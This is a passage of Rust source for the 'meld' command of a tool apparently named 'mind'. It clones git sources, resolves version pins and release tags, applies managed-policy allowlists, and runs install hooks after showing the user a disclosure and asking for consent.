use std::collections::{BTreeSet, HashSet};
use std::io::Write;
use serde::Serialize;
use crate::catalog::{self, CatalogItem};
use crate::config::Config;
use crate::error::{ItemKind, MindError, Result};
use crate::git;
use crate::install;
use crate::manifest::Manifest;
use crate::mindfile::AuthFailureAction;
use crate::mindfile::HookEvent;
use crate::mindfile::MindToml;
use crate::paths::Paths;
use crate::plugin_manifest;
use crate::policy::Policy;
use crate::resolve::{
is_glob, parse_item_ref, resolve, select, select_by_bare_refs, select_installed,
source_matches, source_matches_glob,
};
use crate::source::{
HookOrigin, ManifestOrigin, Pin, RecordedEvent, Registry, parse_spec, parse_spec_quiet,
};
#[allow(clippy::too_many_arguments)]
pub fn meld(
paths: &Paths,
repo: &str,
alias: Option<String>,
roots: Vec<String>,
add_roots: Vec<String>,
flat_skills: bool,
pin: PinRequest,
install_hook: Option<String>,
dangerously_skip_install_hook_check: bool,
item_kind: Option<ItemKind>,
) -> Result<MeldSummary> {
meld_with_profiles(
paths,
repo,
alias,
roots,
add_roots,
flat_skills,
pin,
install_hook,
dangerously_skip_install_hook_check,
item_kind,
&mut MeldProfiles::None,
false,
)
}
#[allow(clippy::too_many_arguments)]
pub(crate) fn meld_with_profiles(
paths: &Paths,
repo: &str,
alias: Option<String>,
roots: Vec<String>,
add_roots: Vec<String>,
flat_skills: bool,
pin: PinRequest,
install_hook: Option<String>,
dangerously_skip_install_hook_check: bool,
item_kind: Option<ItemKind>,
profiles: &mut MeldProfiles<'_>,
accept_newer_mind: bool,
) -> Result<MeldSummary> {
paths.ensure_layout()?;
let policy = Policy::load()?;
let prefer_ssh = Config::load(paths)?.ssh;
let mut registry = Registry::load(paths)?;
let mut visited = HashSet::new();
let source_name = parse_spec_quiet(repo)
.map(|mut s| {
s.apply_alias(alias.clone());
s.name
})
.unwrap_or_else(|_| repo.to_string());
let mut meld_skipped: Vec<SkippedEntry> = Vec::new();
let added = meld_recursive(
paths,
&mut registry,
repo,
alias,
roots,
add_roots,
flat_skills,
pin,
true,
&mut visited,
policy.as_ref(),
install_hook,
dangerously_skip_install_hook_check,
prefer_ssh,
false, None, &mut meld_skipped,
item_kind, None, profiles,
accept_newer_mind,
)?;
registry.save(paths)?;
let out = crate::render::ctx();
if !out.json && added > 1 {
println!("melded {added} source(s)");
}
Ok(MeldSummary {
source_name,
added,
skipped: meld_skipped,
})
}
pub fn maybe_probe_hint(paths: &Paths, source_name: &str) -> Result<()> {
let out = crate::render::ctx();
if out.json {
return Ok(());
}
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
if source.item_path.is_some() {
return Ok(());
}
let clone_dir = source.clone_dir(paths);
let curates = MindToml::load(&clone_dir)?
.and_then(|m| m.discover)
.is_some_and(|d| !d.sources.is_empty());
let has_marketplace = plugin_manifest::find_marketplace_manifest(&clone_dir).is_some();
if curates || has_marketplace {
println!(
"note: this source curates other sources; run `mind probe` to browse and search what is available"
);
}
Ok(())
}
#[derive(Debug, Clone, PartialEq, Eq, Default)]
pub enum PinRequest {
#[default]
None,
Freeze(Option<String>),
Follow(Pin),
}
pub fn parse_pin_flags(
pin: Option<String>,
follow_branch: Option<String>,
pin_tag: Option<String>,
pin_ref: Option<String>,
) -> Result<PinRequest> {
let mut set: Vec<(&str, PinRequest)> = Vec::new();
if let Some(v) = pin {
set.push(("--pin", parse_pin_value(v)?));
}
if let Some(b) = follow_branch {
crate::git::validate_ref_value(&b)?;
set.push(("--follow-branch", PinRequest::Follow(Pin::FollowBranch(b))));
}
if let Some(t) = pin_tag {
crate::git::validate_ref_value(&t)?;
set.push(("--pin-tag", PinRequest::Follow(Pin::Tag(t))));
}
if let Some(r) = pin_ref {
crate::git::validate_ref_value(&r)?;
set.push(("--pin-ref", PinRequest::Freeze(Some(r))));
}
if set.len() > 1 {
return Err(MindError::ConflictingPin {
first: set[0].0.to_string(),
second: set[1].0.to_string(),
});
}
Ok(set.into_iter().next().map_or(PinRequest::None, |(_, r)| r))
}
fn parse_pin_value(value: String) -> Result<PinRequest> {
if value == "HEAD" {
return Ok(PinRequest::Freeze(None));
}
if let Some(name) = value.strip_prefix("branch=") {
crate::git::validate_ref_value(name)?;
return Ok(PinRequest::Follow(Pin::FollowBranch(name.to_string())));
}
if let Some(name) = value.strip_prefix("tag=") {
crate::git::validate_ref_value(name)?;
return Ok(PinRequest::Follow(Pin::Tag(name.to_string())));
}
if let Some(range) = value.strip_prefix("version=") {
return match crate::version::Range::parse(range) {
Some(r) => Ok(PinRequest::Follow(Pin::Version(
crate::source::VersionPin::unresolved(&r),
))),
None => Err(MindError::BadPinSpec { value }),
};
}
if value.contains('=') {
return Err(MindError::BadPinSpec { value });
}
crate::git::validate_ref_value(&value)?;
Ok(PinRequest::Freeze(Some(value)))
}
fn resolve_checkout_pin(consumer_pin: PinRequest, base_pin: Pin) -> (Pin, bool) {
match consumer_pin {
PinRequest::None => (base_pin, false),
PinRequest::Follow(p) => (p, false),
PinRequest::Freeze(Some(r)) => (Pin::Ref(r), true),
PinRequest::Freeze(None) => (base_pin, true),
}
}
pub(crate) fn pin_description(pin: &Pin) -> String {
match pin {
Pin::DefaultBranch => "default branch".to_string(),
Pin::FollowBranch(b) => format!("branch {b}"),
Pin::Tag(t) => format!("tag {t}"),
Pin::Ref(r) => format!("ref {r}"),
Pin::Version(v) => match &v.resolved {
Some(resolved) => format!("version {} ({resolved})", v.range),
None => format!("version {}", v.range),
},
}
}
fn version_pin_hint(paths: &Paths, source: &crate::source::Source) -> Option<String> {
let Pin::Tag(tag) = &source.pin else {
return None;
};
let dir = clone_dir_checked(paths, source).ok()?;
let mindfile = MindToml::load(&dir).ok()??;
let template = mindfile
.source
.release_template(&dir.join("mind.toml"))
.ok()??;
let version = template.match_tag(tag)?;
Some(format!(
"hint: {} follows release tag {}; to take compatible releases, run `mind meld {} --pin version=^{version}`",
strip_ansi(&source.name),
strip_ansi(tag),
crate::error::shell_quote(&strip_ansi(&source.name))
))
}
pub(crate) fn same_declared_pin(recorded: &Pin, declared: &Pin) -> bool {
match (recorded, declared) {
(Pin::Version(a), Pin::Version(b)) => a.range == b.range,
(a, b) => a == b,
}
}
fn resolve_version(
source_name: &str,
url: &str,
pin: &crate::source::VersionPin,
template: &crate::version::Template,
yanked: &[crate::version::Version],
) -> Result<crate::version::Resolution> {
let range = pin.parsed_range().ok_or_else(|| MindError::BadPinSpec {
value: format!("version={}", pin.range),
})?;
let tags = git::ls_remote_tags(url)?;
let res = crate::version::resolve(template, &tags, &range, yanked);
for (a, b) in &res.ambiguous {
eprintln!(
"warning: {}: tags {} and {} name the same version at different commits; skipping that version",
strip_ansi(source_name),
strip_ansi(a),
strip_ansi(b)
);
}
Ok(res)
}
fn filled_version_pin(
pin: &crate::source::VersionPin,
selected: &crate::version::Release,
res: &crate::version::Resolution,
) -> crate::source::VersionPin {
crate::source::VersionPin {
range: pin.range.clone(),
resolved: Some(selected.version.to_string()),
tag: Some(selected.tag.clone()),
highest: res.highest.as_ref().map(|r| r.version.to_string()),
highest_tag: res.highest.as_ref().map(|r| r.tag.clone()),
yanked: false,
recommended: pin.recommended.clone(),
auto_update: pin.auto_update,
}
}
#[derive(Serialize, Clone, Debug, PartialEq, Eq)]
struct VersionJson {
range: String,
resolved: Option<String>,
tag: Option<String>,
highest_available: Option<String>,
breaking_available: bool,
yanked: bool,
recommended: Option<String>,
}
fn version_json(pin: &Pin) -> Option<VersionJson> {
let Pin::Version(vp) = pin else {
return None;
};
Some(VersionJson {
range: vp.range.clone(),
resolved: vp.resolved.clone(),
tag: vp.tag.as_deref().map(strip_ansi),
highest_available: vp.highest.clone(),
breaking_available: breaking_release(pin).is_some(),
yanked: vp.yanked,
recommended: vp.recommended.clone(),
})
}
#[derive(Serialize, Clone, Debug, PartialEq, Eq)]
struct SourceVersionJson {
source: String,
version: VersionJson,
}
fn source_versions(registry: &Registry, in_scope: &dyn Fn(&str) -> bool) -> Vec<SourceVersionJson> {
registry
.sources
.iter()
.filter(|s| in_scope(&s.name))
.filter_map(|s| {
version_json(&s.pin).map(|version| SourceVersionJson {
source: strip_ansi(&s.name),
version,
})
})
.collect()
}
#[derive(Serialize, Clone, Debug, PartialEq, Eq)]
struct BreakingMoveJson {
source: String,
from: String,
to: String,
applied: bool,
recommended: bool,
}
fn version_marks(source: &crate::source::Source) -> Vec<String> {
let Pin::Version(vp) = &source.pin else {
return Vec::new();
};
let shown = strip_ansi(&source.name);
let mut lines = Vec::new();
if let Some((_, to)) = breaking_release(&source.pin) {
let nudge = recommended_for_breaking(&source.pin)
.map(|r| format!(" ({shown} recommends {r})"))
.unwrap_or_default();
lines.push(format!(
"note: {shown}: breaking release {to} available{nudge}; take it with `mind upgrade --allow-breaking --source {}`",
crate::error::shell_quote(&shown)
));
}
if vp.yanked
&& let Some(resolved) = &vp.resolved
{
lines.push(format!(
"warning: {shown}: release {resolved} is yanked; sync moves on when a newer release in {} is tagged",
vp.range
));
}
if let (Some(declared), Some(granted)) = (vp.auto_update, source.auto_update)
&& granted != crate::auto_update::Level::Off
&& declared > granted
{
lines.push(format!(
"note: {shown} asks to update automatically, including breaking releases; allow it with `mind meld {} --auto-update=breaking`",
crate::error::shell_quote(&shown)
));
}
lines
}
fn auto_update_token(
source: &crate::source::Source,
cap: Option<crate::auto_update::Level>,
) -> String {
match auto_update_level(source, cap) {
crate::auto_update::Level::Off => String::new(),
level => format!(" auto-update {level}"),
}
}
#[derive(Serialize)]
struct AutoUpdateStateJson {
declared: Option<crate::auto_update::Level>,
granted: crate::auto_update::Level,
effective: crate::auto_update::Level,
}
fn auto_update_json(
source: &crate::source::Source,
cap: Option<crate::auto_update::Level>,
) -> AutoUpdateStateJson {
AutoUpdateStateJson {
declared: match &source.pin {
Pin::Version(vp) => vp.auto_update,
_ => None,
},
granted: source.auto_update.unwrap_or(crate::auto_update::Level::Off),
effective: auto_update_level(source, cap),
}
}
fn policy_for_display() -> Option<Policy> {
Policy::load().ok().flatten()
}
fn auto_update_cap(
policy: Option<&Policy>,
source: &crate::source::Source,
) -> Option<crate::auto_update::Level> {
use crate::auto_update::Level;
let policy = policy?;
let pinned_by_policy = policy
.auto_meld()
.iter()
.any(|am| parse_spec_quiet(&am.repo).is_ok_and(|spec| spec.name == source.name));
match (policy.auto_update_cap(), pinned_by_policy) {
(cap, false) => cap,
(Some(cap), true) => Some(cap.min(Level::Compatible)),
(None, true) => Some(Level::Compatible),
}
}
fn version_token(pin: &Pin) -> String {
match pin {
Pin::Version(vp) => match &vp.resolved {
Some(resolved) => format!(" release {resolved} ({})", vp.range),
None => format!(" release ({})", vp.range),
},
_ => String::new(),
}
}
fn default_version_pin(
source: &crate::source::Source,
mindfile: Option<&MindToml>,
toml_path: &std::path::Path,
dir: &std::path::Path,
) -> Result<Option<Pin>> {
let Some(m) = mindfile else {
return Ok(None);
};
let Some(template) = m.source.release_template(toml_path)? else {
return Ok(None);
};
let yanked = m.source.yanked_versions(toml_path)?;
let tags = git::ls_remote_tags(&source.url)?;
let (releases, _) = crate::version::releases(&template, &tags);
let Some(highest) = crate::version::highest_stable(&releases, &yanked) else {
eprintln!(
"note: {} declares release-tags but has no stable release; following the default branch",
strip_ansi(&source.name)
);
return Ok(None);
};
let stable: Vec<&crate::version::Release> = releases
.iter()
.filter(|r| !r.version.is_prerelease() && !yanked.contains(&r.version))
.collect();
let mut chosen = highest;
if stable.len() > 1
&& let Some(fits) = stable.iter().find(|rel| {
release_needs_newer_mind(&source.name, &source.url, dir, true, rel).is_none()
})
{
chosen = *fits;
}
let range = crate::version::Range::caret_of(&chosen.version);
let mut res = crate::version::resolve(&template, &tags, &range, &yanked);
res.selected = Some(chosen.clone());
for (a, b) in &res.ambiguous {
eprintln!(
"warning: {}: tags {} and {} name the same version at different commits; skipping that version",
strip_ansi(&source.name),
strip_ansi(a),
strip_ansi(b)
);
}
let mut pin = crate::source::VersionPin::unresolved(&range);
pin.recommended = m.source.recommended_range().map(|r| r.to_string());
pin.auto_update = m.source.auto_update_level(toml_path)?;
Ok(res
.selected
.as_ref()
.map(|rel| Pin::Version(filled_version_pin(&pin, rel, &res))))
}
fn fit_min_mind_version(
source_name: &str,
url: &str,
dir: &std::path::Path,
fetch: bool,
res: &mut crate::version::Resolution,
) -> Result<()> {
if res.candidates.len() < 2 {
return Ok(());
}
for rel in &res.candidates {
if release_needs_newer_mind(source_name, url, dir, fetch, rel).is_none() {
res.selected = Some(rel.clone());
return Ok(());
}
}
res.selected = res.candidates.first().cloned();
Ok(())
}
fn release_needs_newer_mind(
source_name: &str,
url: &str,
dir: &std::path::Path,
fetch: bool,
rel: &crate::version::Release,
) -> Option<String> {
let shown = strip_ansi(source_name);
let text = match git::tag_mind_toml(url, dir, &rel.tag, fetch) {
Ok(text) => text,
Err(e) => {
eprintln!(
"warning: {shown}: could not read min-mind-version of {}: {}",
rel.version,
strip_ansi(&e.to_string())
);
return None;
}
};
let required = text
.as_deref()
.and_then(crate::mindfile::unmet_min_version_in_text)?;
eprintln!(
"{shown}: skipped {}: needs mind {}",
rel.version,
strip_ansi(&required)
);
Some(required)
}
fn no_matching_release(
source_name: &str,
pin: &crate::source::VersionPin,
res: &crate::version::Resolution,
) -> MindError {
MindError::NoMatchingRelease {
source_name: source_name.to_string(),
range: pin.range.clone(),
highest: res.highest.as_ref().map(|r| r.version.to_string()),
}
}
static ALLOW_BREAKING: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
pub fn set_allow_breaking(on: bool) {
ALLOW_BREAKING.store(on, std::sync::atomic::Ordering::Relaxed);
}
fn release_version(registry: &Registry, item: &crate::manifest::InstalledItem) -> Option<String> {
let source = registry.find(&item.source)?;
match &source.pin {
Pin::Version(vp) if source.commit.as_deref() == Some(item.commit.as_str()) => {
vp.resolved.clone()
}
_ => None,
}
}
fn breaking_release(pin: &Pin) -> Option<(String, crate::version::Version)> {
let Pin::Version(vp) = pin else {
return None;
};
let range = vp.parsed_range()?;
if matches!(range, crate::version::Range::Exact(_)) {
return None;
}
let highest = crate::version::Version::parse(vp.highest.as_deref()?)?;
let resolved = vp
.resolved
.as_deref()
.and_then(crate::version::Version::parse);
if range.matches(&highest) || resolved.is_some_and(|r| r >= highest) {
return None;
}
Some((vp.resolved.clone().unwrap_or_default(), highest))
}
fn recommended_for_breaking(pin: &Pin) -> Option<String> {
let Pin::Version(vp) = pin else {
return None;
};
let (_, to) = breaking_release(pin)?;
let recommended = crate::version::Range::parse(vp.recommended.as_deref()?)?;
recommended.matches(&to).then(|| recommended.to_string())
}
fn settle_breaking_moves(
paths: &Paths,
registry: &mut Registry,
in_scope: &dyn Fn(&str) -> bool,
yes: bool,
out: &crate::render::OutputCtx,
) -> Result<Vec<BreakingMoveJson>> {
let allow = ALLOW_BREAKING.load(std::sync::atomic::Ordering::Relaxed);
let interactive = !yes && !out.json && crate::hook::is_tty();
let mut changed = false;
let mut moves = Vec::new();
for source in &mut registry.sources {
if !in_scope(&source.name) {
continue;
}
let Some((from, to)) = breaking_release(&source.pin) else {
continue;
};
let shown = strip_ansi(&source.name);
let recommended = recommended_for_breaking(&source.pin);
let line = match &recommended {
Some(r) => format!("{shown} {from} -> {to} (breaking, {shown} recommends {r})"),
None => format!("{shown} {from} -> {to} (breaking)"),
};
let accept = if allow {
true
} else if interactive {
print_release_notes(paths, source);
confirm(&format!("take breaking release {line}?"))?
} else {
false
};
let mut record = BreakingMoveJson {
source: shown.clone(),
from: from.clone(),
to: to.to_string(),
applied: false,
recommended: recommended.is_some(),
};
if !accept {
if !out.json {
let nudge = recommended
.as_deref()
.map(|r| format!("; {shown} recommends {r}"))
.unwrap_or_default();
println!(
"{} {shown} {from} -> {to} (breaking, not applied{nudge}; take it with `mind upgrade --allow-breaking --source {}`)",
out.warn(),
crate::error::shell_quote(&shown)
);
}
moves.push(record);
continue;
}
let Pin::Version(vp) = &source.pin else {
continue;
};
let mut moved = source.clone();
moved.pin = Pin::Version(crate::source::VersionPin {
range: crate::version::Range::caret_of(&to).to_string(),
resolved: None,
tag: None,
highest: vp.highest.clone(),
highest_tag: vp.highest_tag.clone(),
yanked: false,
recommended: vp.recommended.clone(),
auto_update: vp.auto_update,
});
let applied = clone_dir_checked(paths, &moved)
.and_then(|dir| sync_clone_to_pin(&moved, &dir))
.and_then(|(commit, pin)| match &pin {
Pin::Version(v) if v.resolved.is_none() => Err(MindError::NoMatchingRelease {
source_name: source.name.clone(),
range: v.range.clone(),
highest: v.highest.clone(),
}),
_ => Ok((commit, pin)),
});
match applied {
Ok((commit, pin)) => {
if !out.json {
println!(
"{} {line}: range now {}",
out.bullet(),
match &pin {
Pin::Version(v) => v.range.as_str(),
_ => "",
}
);
}
source.pin = pin;
source.commit = Some(commit);
changed = true;
record.applied = true;
}
Err(e) => {
eprintln!(
" {} could not take breaking release for {shown}: {}",
out.err(),
strip_ansi(&e.to_string())
);
}
}
moves.push(record);
}
if changed {
registry.save(paths)?;
}
Ok(moves)
}
const RELEASE_NOTES_MAX_LINES: usize = 20;
fn print_release_notes(paths: &Paths, source: &crate::source::Source) {
let Pin::Version(vp) = &source.pin else {
return;
};
let Some(tag) = vp.highest_tag.as_deref() else {
return;
};
let notes = clone_dir_checked(paths, source)
.and_then(|dir| git::tag_annotation(&source.url, &dir, tag));
let Ok(Some(notes)) = notes else {
return;
};
eprintln!("notes for {}:", strip_ansi(tag));
let lines: Vec<&str> = notes.lines().collect();
for l in lines.iter().take(RELEASE_NOTES_MAX_LINES) {
eprintln!(" {}", strip_ansi(l));
}
if lines.len() > RELEASE_NOTES_MAX_LINES {
eprintln!(" ...");
}
}
fn sync_clone_to_pin(
source: &crate::source::Source,
dir: &std::path::Path,
) -> Result<(String, Pin)> {
let pin = source.pin.clone();
if !dir.join(".git").is_dir() {
if let Some(parent) = dir.parent() {
crate::paths::mkdir_p(parent)?;
}
git::clone_at(&source.url, dir, &pin)?;
return Ok((git::head_commit(&source.url, dir)?, pin));
}
let Pin::Version(vp) = &pin else {
git::sync_to_pin(&source.url, dir, &pin)?;
return Ok((git::head_commit(&source.url, dir)?, pin));
};
let meta = match git::default_branch_mind_toml(&source.url, dir)? {
Some(text) => crate::mindfile::release_meta_from_text(&text, &dir.join("mind.toml"))?,
None => crate::mindfile::ReleaseMeta::default(),
};
let yanked = meta.yanked;
let template = meta.template.unwrap_or(crate::version::Template::Default);
let mut res = resolve_version(&source.name, &source.url, vp, &template, &yanked)?;
fit_min_mind_version(&source.name, &source.url, dir, true, &mut res)?;
let mut next = vp.clone();
next.recommended = meta.recommended;
next.auto_update = meta.auto_update;
next.highest = res.highest.as_ref().map(|r| r.version.to_string());
next.highest_tag = res.highest.as_ref().map(|r| r.tag.clone());
next.yanked = vp
.resolved
.as_deref()
.and_then(crate::version::Version::parse)
.is_some_and(|cur| yanked.contains(&cur));
match &res.selected {
None => {}
Some(rel)
if vp
.resolved
.as_deref()
.and_then(crate::version::Version::parse)
.is_some_and(|cur| yanked.contains(&cur) && rel.version <= cur) => {}
Some(rel) if vp.tag.as_deref() == Some(rel.tag.as_str()) => {
if let Some(recorded) = source.commit.as_deref()
&& recorded != rel.commit
{
eprintln!(
"warning: {}: release tag {} moved from {} to {}; staying at {} (re-meld with --pin to accept it)",
strip_ansi(&source.name),
strip_ansi(&rel.tag),
short(recorded),
short(&rel.commit),
short(recorded)
);
}
}
Some(rel) => {
next = filled_version_pin(&next, rel, &res);
let pin = Pin::Version(next);
git::sync_to_pin(&source.url, dir, &pin)?;
return Ok((git::head_commit(&source.url, dir)?, pin));
}
}
Ok((git::head_commit(&source.url, dir)?, Pin::Version(next)))
}
fn clone_dir_checked(paths: &Paths, source: &crate::source::Source) -> Result<std::path::PathBuf> {
let dir = source.clone_dir(paths);
if source.is_linked() {
return Ok(dir);
}
if install::is_confined_under(&dir, &paths.sources_dir()) {
Ok(dir)
} else {
Err(MindError::UnsafeClonePath {
path: dir,
identity: source.name.clone(),
})
}
}
fn hook_ran_at(
source: &crate::source::Source,
command: &str,
event: RecordedEvent,
current: Option<&str>,
) -> bool {
current.is_some()
&& source
.install_hooks
.iter()
.any(|r| r.is(command, event) && r.ran_at.as_deref() == current)
}
fn record_install_hook(
source: &mut crate::source::Source,
command: &str,
event: RecordedEvent,
ran_at: Option<String>,
) {
if let Some(r) = source
.install_hooks
.iter_mut()
.find(|r| r.is(command, event))
{
r.ran_at = ran_at;
r.baseline = false;
} else {
let mut rec = crate::source::RecordedSourceHook::install(command, ran_at);
rec.event = Some(event);
source.install_hooks.push(rec);
}
}
fn record_source_hook_entry(
source: &mut crate::source::Source,
hook: &crate::mindfile::ResolvedHook,
event: RecordedEvent,
ran_at: Option<String>,
origin: Option<crate::source::HookOrigin>,
baseline: bool,
) {
if let Some(r) = source
.install_hooks
.iter_mut()
.find(|r| r.is(&hook.run, event))
{
r.origin = origin.or(r.origin);
if origin.is_some() {
r.name = hook.name.clone();
r.optional = hook.optional;
}
return;
}
source
.install_hooks
.push(crate::source::RecordedSourceHook {
command: hook.run.clone(),
ran_at,
event: Some(event),
name: origin.is_some().then(|| hook.name.clone()).flatten(),
optional: origin.is_some() && hook.optional,
origin,
baseline,
});
}
enum HookOutcome {
Proceed,
Abort,
}
#[allow(clippy::too_many_arguments)]
fn run_install_hooks(
source: &mut crate::source::Source,
clone_dir: &std::path::Path,
mindfile: &Option<MindToml>,
toml_path: &std::path::Path,
install_override: Option<&str>,
dangerously_skip: bool,
force_rerun: bool,
extra_hooks: Vec<crate::mindfile::ResolvedHook>,
hook_env: &crate::hook::HookEnv,
) -> Result<HookOutcome> {
let mut resolved = mindfile
.as_ref()
.map(|m| m.resolved_hooks(toml_path))
.transpose()?
.unwrap_or_default();
let curated_keys: HashSet<(String, &'static str)> = extra_hooks
.iter()
.map(|h| (h.run.clone(), h.event.as_str()))
.collect();
resolved.extend(extra_hooks);
let (hooks, replaced) = crate::hook::apply_install_override(resolved, install_override);
let override_cmd: Option<&str> = install_override.map(str::trim).filter(|s| !s.is_empty());
let origin_of = |h: &crate::mindfile::ResolvedHook| -> Option<HookOrigin> {
if h.event == HookEvent::Install && override_cmd == Some(h.run.as_str()) {
Some(HookOrigin::Override)
} else if curated_keys.contains(&(h.run.clone(), h.event.as_str())) {
Some(HookOrigin::Curated)
} else {
None
}
};
let pin_desc = pin_description(&source.pin);
let commit = source.commit.clone().unwrap_or_default();
let current = source.commit.clone();
let clone_path = clone_dir.display().to_string();
let name = source.name.clone();
for h in hooks.iter().filter(|h| h.event == HookEvent::Install) {
if !force_rerun && hook_ran_at(source, &h.run, RecordedEvent::Install, current.as_deref()) {
continue;
}
let declared_override: Option<String> = replaced.as_ref().and_then(|cmds| {
if override_cmd == Some(h.run.as_str()) {
Some(cmds.join("; "))
} else {
None
}
});
let browse_url = source.browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
h.label(),
h.event.as_str(),
h.optional,
&name,
&pin_desc,
&commit,
&clone_path,
&h.run,
declared_override.as_deref(),
browse_url.as_deref(),
);
match crate::hook::decide(&disclosure, h.optional, dangerously_skip)? {
crate::hook::HookAct::Run => {
println!("running install hook '{}' for {}", h.label(), name);
crate::hook::run_hook(&h.run, clone_dir, &name, "install", h.label(), hook_env)?;
record_install_hook(source, &h.run, RecordedEvent::Install, current.clone());
stamp_origin(source, h, RecordedEvent::Install, origin_of(h));
}
crate::hook::HookAct::Skip => {
crate::render::note(format!(
"note: skipped install hook '{}' for {}; its items may not work until it runs",
h.label(),
name
));
record_install_hook(source, &h.run, RecordedEvent::Install, None);
stamp_origin(source, h, RecordedEvent::Install, origin_of(h));
}
crate::hook::HookAct::Abort => return Ok(HookOutcome::Abort),
}
}
for h in hooks.iter().filter(|h| h.event == HookEvent::Update) {
record_source_hook_entry(
source,
h,
RecordedEvent::Update,
current.clone(),
origin_of(h),
true,
);
}
Ok(HookOutcome::Proceed)
}
fn stamp_origin(
source: &mut crate::source::Source,
hook: &crate::mindfile::ResolvedHook,
event: RecordedEvent,
origin: Option<HookOrigin>,
) {
if origin.is_none() {
return;
}
record_source_hook_entry(source, hook, event, None, origin, false);
}
pub(crate) struct CuratedConfig {
pin: Option<Pin>,
roots: Option<Vec<String>>,
add_roots: Option<Vec<String>>,
flat_skills: bool,
hooks: Vec<crate::mindfile::ResolvedHook>,
}
impl CuratedConfig {
fn has_gated_values(&self) -> bool {
self.roots.is_some()
|| self.add_roots.is_some()
|| self.flat_skills
|| !self.hooks.is_empty()
}
}
pub(crate) fn curated_config_for(
entry: &crate::mindfile::NestedSource,
toml_path: &std::path::Path,
) -> Result<CuratedConfig> {
Ok(CuratedConfig {
pin: entry.pin_directive(toml_path)?,
roots: entry.roots.clone(),
add_roots: entry.add_roots.clone(),
flat_skills: entry.flat_skills,
hooks: entry.resolved_hooks(toml_path)?,
})
}
#[allow(clippy::too_many_arguments)]
fn meld_recursive(
paths: &Paths,
registry: &mut Registry,
repo: &str,
alias: Option<String>,
roots: Vec<String>,
add_roots: Vec<String>,
flat_skills: bool,
consumer_pin: PinRequest,
top_level: bool,
visited: &mut HashSet<String>,
policy: Option<&Policy>,
install_hook: Option<String>,
dangerously_skip_hook_check: bool,
prefer_ssh: bool,
yes: bool,
curated: Option<CuratedConfig>,
skipped: &mut Vec<SkippedEntry>,
item_kind: Option<ItemKind>,
curated_by: Option<String>,
profiles: &mut MeldProfiles<'_>,
accept_newer_mind: bool,
) -> Result<usize> {
let out = crate::render::ctx();
let mut source = parse_spec(repo)?;
if let Some(kind) = item_kind
&& source.item_path.is_none()
{
return Err(MindError::LinkKindMismatch {
source_name: source.name.clone(),
path: repo.to_string(),
kind: kind.as_str().to_string(),
reason: "the source is not an item link; `kind` only applies to a deep \
tree/blob URL entry"
.to_string(),
});
}
source.item_kind = item_kind;
source.curated_by = curated_by;
if let Some(a) = &alias {
crate::namespace::validate_prefix(a)?;
}
source.apply_alias(alias);
source.prefer_ssh(prefer_ssh);
let url_pin = if source.item_path.is_some() && source.pin != Pin::DefaultBranch {
Some(std::mem::replace(&mut source.pin, Pin::DefaultBranch))
} else {
None
};
if !visited.insert(format!("{}|{}", source.name, source.url)) {
return Ok(0);
}
if let Some(existing) = registry.find(&source.name) {
if top_level {
return Err(MindError::SourceExists {
name: source.name.clone(),
url: existing.url.clone(),
});
}
if existing.url != source.url {
eprintln!(
"warning: source name '{}' already melded from {}; skipping {}",
source.name, existing.url, source.url
);
}
return Ok(0);
}
let mut dir = clone_dir_checked(paths, &source)?;
let is_local = source.is_local();
if !out.json {
println!(
"{} melding {} from {}",
out.bullet(),
source.name,
out.dim(&source.url)
);
}
if let Some(policy) = policy {
let identity = source.base_identity();
if policy.lock() && !policy.allow_local() && is_local {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::LocalMeldForbidden { identity });
}
let allowed = policy.allow_matches(&identity);
if policy.lock() && !allowed {
if let Some(path) = effective_policy_path() {
eprintln!("hint: managed policy at {path}");
}
return Err(MindError::SourceNotAllowed { identity });
}
if !policy.lock() && !allowed {
eprintln!(
"warning: source '{identity}' is not in the managed policy's allowlist (advisory; not enforced because [sources].lock is false)"
);
}
}
if is_local {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
} else {
if dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
if let Some(parent) = dir.parent() {
crate::paths::mkdir_p(parent)?;
}
git::clone(&source.url, &dir).map_err(|e| {
if top_level {
let ssh = (!source.is_local()).then(|| source.ssh_url());
handle_top_level_clone_err(e, ssh, &dir, out)
} else {
e
}
})?;
}
let mut mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
let curated = curated.unwrap_or(CuratedConfig {
pin: None,
roots: None,
add_roots: None,
flat_skills: false,
hooks: Vec::new(),
});
let apply_curated = mindfile.is_none();
let curated_pin = curated.pin.clone();
if !apply_curated && curated.has_gated_values() {
let add_root_hint = if curated.add_roots.is_some() {
format!(
"; to apply add-roots yourself, run `mind meld {} --add-root <dir>` \
(that flag is not gated by a nested mind.toml)",
crate::error::shell_quote(&source.name)
)
} else {
String::new()
};
eprintln!(
"warning: {} ships its own mind.toml; curator-supplied roots/add-roots/flat-skills/hooks are ignored{add_root_hint}",
source.name
);
}
let curated_hooks = if apply_curated {
curated.hooks.clone()
} else {
Vec::new()
};
let toml_path = dir.join("mind.toml");
let directive_pin = mindfile
.as_ref()
.map(|m| m.source.pin_directive(&toml_path))
.transpose()?
.flatten();
let base_pin = curated_pin.or(url_pin).or(directive_pin);
let mut default_release = false;
let base_pin = match base_pin {
Some(p) => p,
None if consumer_pin == PinRequest::None && !is_local => {
match default_version_pin(&source, mindfile.as_ref(), &toml_path, &dir) {
Ok(Some(p)) => {
default_release = true;
p
}
Ok(None) => Pin::DefaultBranch,
Err(e) => {
let _ = std::fs::remove_dir_all(&dir);
return Err(e);
}
}
}
None => Pin::DefaultBranch,
};
let (checkout_pin, freeze) = resolve_checkout_pin(consumer_pin, base_pin);
let checkout_pin = match checkout_pin {
Pin::Version(vp) if vp.resolved.is_none() => {
let cleanup = |dir: &std::path::Path| {
if !is_local {
let _ = std::fs::remove_dir_all(dir);
}
};
let meta = mindfile
.as_ref()
.map(|m| crate::mindfile::ReleaseMeta::from_source(&m.source, &toml_path));
let meta = match meta.transpose() {
Ok(m) => m.unwrap_or_default(),
Err(e) => {
cleanup(&dir);
return Err(e);
}
};
let template = meta.template.unwrap_or(crate::version::Template::Default);
let yanked = meta.yanked;
let vp = crate::source::VersionPin {
recommended: meta.recommended,
auto_update: meta.auto_update,
..vp
};
